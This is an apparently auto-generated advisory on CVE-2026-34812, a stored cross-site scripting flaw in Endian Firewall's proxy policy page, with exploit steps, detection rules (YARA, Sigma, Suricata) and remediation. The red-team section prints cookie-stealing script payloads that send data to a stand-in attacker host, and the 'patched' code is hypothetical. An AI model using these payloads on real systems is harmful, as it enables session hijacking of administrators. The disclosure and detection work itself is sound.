CVE-2026-34812

Executive Summary

CVE-2026-34812 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the mimetypes parameter to /cgi-bin/proxypolicy.cgi. The injected script is stored and executed when other users view the affected page, leading to session hijacking, credential theft, or further compromise of the firewall management interface.

This vulnerability is classified as CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). The attack vector is network-based, requires low complexity, and requires authenticated access with user interaction. The CVSS v3.1 base score is 4.8 (Medium).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a custom web application issue within the Endian Firewall product.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): Required (R) – A victim user must view the affected page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited modification of data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication, but once achieved, the stored XSS can be used to target other administrators, potentially leading to full compromise of the firewall management interface.

Deep Dive & Mechanics

The vulnerability exists in the /cgi-bin/proxypolicy.cgi CGI script. The mimetypes parameter is used to define MIME type filtering rules for the proxy policy. The application fails to sanitize or encode user-supplied input before storing it in the backend configuration database. When the proxy policy page is rendered for other users, the stored malicious JavaScript is executed in the context of the victim's browser session.

The attack flow:

1. An authenticated attacker crafts a malicious payload, e.g., <script>alert('XSS')</script>, and submits it via the mimetypes parameter.
2. The application stores the payload without sanitization.
3. When another administrator views the proxy policy page, the payload is rendered and executed.
4. The attacker can steal session cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# /cgi-bin/proxypolicy.cgi (simplified)
my $mimetypes = param('mimetypes');
# No sanitization
save_config('mimetypes', $mimetypes);

Patched Code (Hypothetical):

# /cgi-bin/proxypolicy.cgi (patched)
my $mimetypes = param('mimetypes');
# Sanitize input
$mimetypes =~ s/<[^>]*>//g;  # Remove HTML tags
$mimetypes = encode_entities($mimetypes);  # HTML entity encode
save_config('mimetypes', $mimetypes);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Endian Firewall instance (version <= 3.3.25)
• Valid credentials for an authenticated user

Exploit Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to the proxy policy configuration page (typically under "Proxy" -> "Policy").
3. In the mimetypes field, inject a payload such as:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for another administrator to view the proxy policy page. The payload will execute, sending the victim's session cookie to the attacker's server.

Example Payload:

<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

Blue Team

Detection:

• Monitor logs for suspicious mimetypes parameter values containing <script> tags or JavaScript event handlers.
• Use web application firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search for stored XSS payloads in the configuration database.
• Review proxy policy configuration changes for unusual entries.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers pointing to /cgi-bin/proxypolicy.cgi.
• Host IOCs:
  • Configuration files containing <script> tags or JavaScript code in the mimetypes field.
  • Log entries showing mimetypes parameter with HTML/JavaScript content.
• File IOCs:
  • /etc/endian/firewall/proxypolicy.conf (or similar) containing malicious JavaScript.

Detection Engineering

YARA Rule

rule CVE_2026_34812_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall proxy policy configuration"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34812"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Endian Firewall Proxy Policy
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in the mimetypes parameter of Endian Firewall
author: Valters IT
date: 2026/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34812
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri: "/cgi-bin/proxypolicy.cgi"
        cs-method: "POST"
        cs-params|contains: "mimetypes"
        cs-params|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of HTML in configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34812 - Stored XSS in Endian Firewall Proxy Policy";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/proxypolicy.cgi"; http_uri;
    content:"mimetypes"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-34812;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch as soon as it becomes available. If no patch exists, consider upgrading to a newer version of Endian Firewall.
2. Input Validation: Implement strict input validation and output encoding for all user-supplied data, especially in the mimetypes parameter.
3. Web Application Firewall (WAF): Deploy WAF rules to block common XSS patterns.
4. Content Security Policy (CSP): Add CSP headers to restrict script execution to trusted sources.

Long-term Measures:

• Conduct regular security audits and penetration testing.
• Implement secure coding practices, including input sanitization and output encoding.
• Monitor for similar vulnerabilities in other CGI scripts.

Workarounds (if patching is not possible):

• Restrict access to the proxy policy configuration page to trusted administrators only.
• Disable the mimetypes parameter functionality if not required.
• Use a reverse proxy with XSS filtering capabilities.

Report generated by Valters IT DevSecOps & CTI Expert System

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